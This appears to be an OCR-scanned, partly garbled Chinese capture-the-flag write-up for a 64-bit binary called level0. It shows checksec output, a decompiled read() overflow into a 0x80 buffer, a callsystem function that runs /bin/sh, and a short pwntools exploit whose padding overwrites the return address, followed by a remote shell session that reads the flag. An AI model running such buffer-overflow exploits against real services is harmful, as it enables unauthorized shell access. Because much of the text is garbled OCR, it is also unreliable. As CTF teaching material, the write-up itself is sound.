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a8 levelD: bash — Konsole

C:h\root\Desktophctfig-pwnilevel®d> checksec levell
[[*] '/root/Desktop/ctf/g-pwn/leveld/leveld’

Arch: amdf4-64-Tittle
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (@=4Q000a)

C:\root\Desktophctfig-pwnileveld> |

FANX
RIBAT
I

Cihrooth\Desktophctfig-pwnileveld> ./leveld
Hello, World
1
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ssize_t vulnerable function()

{
char buf; // [rsp+6h] [rbp-86h]

return read(®, &buf, 512ull);
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ALT+T BRFFFH, EPBRENERITAE
Q Text search (slow!) *

String |buf V|

[ 1Match case

[ 1Regular expression
[]Identifier

[ ] Search Up

Find all occurrences

Cancel | Help i

Address Function Instruction

. text 00+ vulnerable function = byte ptr —8Ch

. text 0000000000400 wulnerable_function 082 lea rax, [rhp+bufl]

. text 0000000000400 vulnerable function (88 mov rel, rax . buf

extern: 000000000060 write ; ssize_t write{int fd, const wvoid #buf, size--

extern:000000000060- read . gsize_t readlint fd, wveid #buf, size_t nhbyt-
{text :00000000004005A6 buf = byte ptr -80h |
Text: Ubuubuduiddtd >A0
.text:00000000004005A6 ;5 unwind {
.text:00000000004005A6 000 push rbp
-text:00000000004805A7 008 mow rbp, rsp
.text:00000000004005AA 003 add rsp, OFFFFFFFFFFFFFF80H
.text:00000000004005AE 088 lea rax, [rbp+buf]
.text:00000000004005B2 088 mowv edx, 200h ; nbytes
.text:00000000004005B7 088 mowv rsi, rax ; buf
.text:00000000004005BA 083 mowv edi, @ ; fd
.text:00000000004005BF 083 call _read
.text:00000000004005C4 083 leave
.text:00000000004005C5 000 retn
.text:00000000004005C5 5} // starts at 400546
.text:00000000004005C5 vulnerable function endp
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buf 0x80

rbp 0x8
rip Ox8
WBIXESERRTT, HEEFshift-f12XANZR Ko |

Address Length Type String
S LOAD:000 0000001C O /1ib84/1d-1inux—x86-64. s0. 2
E] LOAD : Q00 Q0000004 [ libec. g0, 6
E] LOAD : Q00 Q0000005 [ read
E] LOAD : Q00 Q0000007 [ system
E] LOAD : 000 00000012 C __libec_start_maln
E] LOAD : Q00 Q0000006 [ write
E] LOAD Q00 _OOOOOOOF [ __Emorn_start__
_%% - {0000000C € GLIBC 2. 2.5
‘s . - 00000008  C [ /bin/sh |
E] .rodata:-- QOOOQO0E C Hello, Worldin
‘s . eh_fram- 00000006 O Each I

BURALRR T ! !

BRKBRKZE MR JL:  H:k40096
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008
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push
mov
mov
call
pop
retn

PAARRG IR — Bk : 1K1k, EiesystemifiH

5 AR 16 B #:4140096% lriphz B OK T

; Attributes: bp-based frame

public callsystem
callsystem proc near
;5 unwind {

s} // starts at 408596
callsystem endp

rbp

rbp, rsp

edi, offset command ; “/bin/sh”
_system

rbp

1[int callsystem()

24
3
4l

return system("/bin/sh");
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D Jump to address

Tump address |4009&
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Heg B AR

445 4R B H B payload :

BE 777 B 2 A

B i rbpibhk

rip BBk HibE 8 p/bin/ shipy bk

& i%payload

RV H.J5 ffcat flag

EXP:

from pwn import
r remote( , 40774)

OX8 + p64(0x00400596)

r.sendline(payload)

r.interactive()

Tﬁ%}’ﬁexp:

from pwn import
p = remote( ,38175)

p.send( 0x88+p64 (0x400596) )
p.interactive()

e oy &R




interactive() : ZEMfSshellZ G, BEE#TRLE, MATEE|shell1 KR,

recv(numb=%Fi K/, timeout=default) : BIEEFHH.

recvall() : —HBWHEZXS|MEOF.,

recvline(keepends=True) : #W—1T, keepends NEBHETEK\n.

recvuntil(delims, drop=False) : —HEiuEZ|delimsfpatternHB NIk,

recvrepeat(timeout=default) : #4:#E:%EHFIEOFEtimeout.

BB A

S\rooth\Desktophctfig-pwn> python level@.py
] Opening connection to 220.249.52.133 on port 40774: Done

*] Switching to interactive mode

5 1s

bin

dev

flag

level@d

lib

1ib32

lib6&

EE Tflag, HEME

5 cat flag

cyberpeace{ 7ea56a54d4b69f130822¢c612b3efaanl}
[#] Got EOF while reading in interactive
51

flag

cyberpeace{7ea56a54d4b69f130822c612b3efaal1}
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